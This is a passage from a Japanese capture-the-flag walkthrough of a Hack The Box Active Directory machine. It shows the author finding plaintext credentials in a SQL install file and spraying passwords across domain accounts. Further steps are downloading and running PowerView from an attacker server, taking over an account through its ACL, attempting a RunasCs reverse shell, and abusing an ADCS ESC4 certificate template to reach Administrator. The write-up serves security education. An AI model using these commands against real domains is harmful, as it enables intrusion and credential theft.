    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               SEQUEL\Domain Admins          S-1-5-21-548670397-972687484-3496335370-512
      Allow  ManageCA, ManageCertificates               SEQUEL\Enterprise Admins      S-1-5-21-548670397-972687484-3496335370-519
    Enrollment Agent Restrictions : None

[+] No Vulnerable Certificates Templates found!



Certify completed in 00:00:05.4351321

まだこの権限ではダメか。

winPeas

winPEASany.exeも同様に転送して回してみます。
とりあえず回しとけですね。

PS C:\Windows\temp> .\winPEASany.exe
.\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @hacktricks_live

...省略

特段目につく出力はなかった。

クレデンシャル搾取

とりあえずsql_svcアカウントなのでMSSQLの階層を列挙していきます。
そうすると以下のファイルにクレデンシャル情報が記載されていました。

PS C:\SQL2019\ExpressAdv_ENU> cat sql-Configuration.INI
cat sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\SQL2019\ExpressAdv_ENU>

このパスワードでスプレーしてみます。

┌──(root㉿kali)-[~/work]
└─# nxc smb 10.129.118.168 -u users -p WqSZAF6CysDQbGb3 -d sequel.htb --continue-on-success
SMB         10.129.118.168  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.129.118.168  445    DC01             [+] sequel.htb\SQL_SVC:WqSZAF6CysDQbGb3 
SMB         10.129.118.168  445    DC01             [-] sequel.htb\CA_SVC:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE 
SMB         10.129.118.168  445    DC01             [-] sequel.htb\OSCAR:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE 
SMB         10.129.118.168  445    DC01             [-] sequel.htb\MICHAEL:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE 
SMB         10.129.118.168  445    DC01             [+] sequel.htb\RYAN:WqSZAF6CysDQbGb3 
SMB         10.129.118.168  445    DC01             [-] sequel.htb\sa:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILUR

SQL_SVC以外にもRYANでこのクレデンシャルが引っかかりました！
このRYANは以下のようにCanPSRemote権限があるのでwinrmが出来そうです。

確認します。

ありそうですね。

これでユーザフラグゲットです！！！

権限昇格

WriteOwner

RYANは以下のようにca_svcに対してWriteOwner権限を持ってます。

なのでOwnerをryanに設定し、User-Force-Change-Password権限を付与して強制パスワード変更をすればca_svcを奪取できそうです。

先ずPowerViewを入れます。

┌──(root㉿kali)-[/usr/share/windows-resources/powersploit/Recon/]
└─# python -m http.server 80

*Evil-WinRM* PS C:\Users\ryan\Documents> IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.26/PowerView.ps1')

User-Force-Change-Passwordを付けます。

*Evil-WinRM* PS C:\Users\ryan\Documents> set-domainobjectowner -Identity ca_svc -OwnerIdentity ryan
*Evil-WinRM* PS C:\Users\ryan\Documents> add-domainobjectacl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights Resetpassword

付いたか確認します。

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ============================================
sequel\ryan S-1-5-21-548670397-972687484-3496335370-1114
*Evil-WinRM* PS C:\Users\ryan\Documents> 
*Evil-WinRM* PS C:\Users\ryan\Documents> get-objectacl -resolveguids | ? {$_.securityidentifier -eq "S-1-5-21-548670397-972687484-3496335370-1114"}


AceQualifier           : AccessAllowed
ObjectDN               : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-548670397-972687484-3496335370-1607
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-548670397-972687484-3496335370-1114
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceType               : AccessAllowed
ObjectDN              : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
ActiveDirectoryRights : WriteOwner
OpaqueLength          : 0
ObjectSID             : S-1-5-21-548670397-972687484-3496335370-1607
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-548670397-972687484-3496335370-1114
AccessMask            : 524288
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed



*Evil-WinRM* PS C:\Users\ryan\Documents>

付いてそうですね。
強制パスワード変更します。

*Evil-WinRM* PS C:\Users\ryan\Documents> $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\ryan\Documents> set-domainuserpassword -identity ca_svc -accountpassword $pass

変更できたのでRunasCsを使ってなりすまします。バイナリはさっき同様にiwrで転送します。

nc -lnvp 4444の待ち受けを起動させておき、実行します。

*Evil-WinRM* PS C:\Users\ryan\Documents> .\RunasCs.exe ca_svc Password123! cmd.exe -r 10.10.14.26:4444
[-] RunasCsException: Selected logon type '2' is not granted to the user 'ca_svc'. Use available logon type '3'.

ダメそう。インタラクティブシェルは許可されてなさそう。

ADCS

今度こそADCSかな？ca_svcだし。
という事で変更したパスワードで先ほどのCertipy-Dockerを用いて脆弱なテンプレートを探ります。
定期的に変更したパスワードやOwnerの書き換えはBOXに修正されるので再度パスワード変更を実施してすぐにやりましょう。

┌──(root㉿kali)-[~/work]
└─# docker run -it -v $(pwd):/tmp certipy:latest certipy find -dc-ip 10.129.118.168 -u "ca_svc@sequel.htb" -p 'Password123!' -vulnerable -debug -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.118.168:636 - ssl
[+] Default path: DC=sequel,DC=htb
[+] Configuration path: CN=Configuration,DC=sequel,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
     SEQUEL.HTB\Denied RODC Password Replication Group (S-1-5-21-548670397-972687484-3496335370-572)
     SEQUEL.HTB\Authenticated Users (SEQUEL.HTB-S-1-5-11)
     SEQUEL.HTB\Certification Authority (S-1-5-21-548670397-972687484-3496335370-1607)
     SEQUEL.HTB\Users (SEQUEL.HTB-S-1-5-32-545)
     SEQUEL.HTB\Cert Publishers (S-1-5-21-548670397-972687484-3496335370-517)
     SEQUEL.HTB\Everyone (SEQUEL.HTB-S-1-1-0)
     SEQUEL.HTB\Domain Computers (S-1-5-21-548670397-972687484-3496335370-515)
     SEQUEL.HTB\Domain Users (S-1-5-21-548670397-972687484-3496335370-513)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.sequel.htb' at '10.129.118.168'
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 10.129.118.168
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC01.sequel.htb' (10.129.118.168)
[*] Got CA configuration for 'sequel-DC01-CA'
[+] Resolved 'DC01.sequel.htb' from cache: 10.129.118.168
[+] Connecting to 10.129.118.168:80
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16777216
                                          65536
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

キタ。ESC4のシナリオね。テンプレートを書き換える権限を持ってるアカウントだとESC1に繋がるテンプレートへ書き換えて成りすましができます。

書き換えます。

┌──(root㉿kali)-[~/work]
└─# certipy template -username "ca_svc@sequel.htb" -password 'Password123!' -template DunderMifflinAuthentication -save-old -dc-ip 10.129.118.168
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

出来た。後はESC1をなぞるだけ。
うまくいかない場合はntpdateコマンドで時刻修正とか試してみましょう。TryHarder。

認証成功してAdministratorのハッシュが手に入るのでこれを用いて侵入します。

いけました！これでRootフラグゲットです！

まとめ

これで特権昇格に成功し、Administrator権限奪取に成功しました。
今回もクレデンシャルが渡される形式で戸惑いましたが、何とかなりました。
ラビホが所々にありましたが、いい難易度のBOXでした。全体的に完成度が高いBOXなのではと思った次第。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。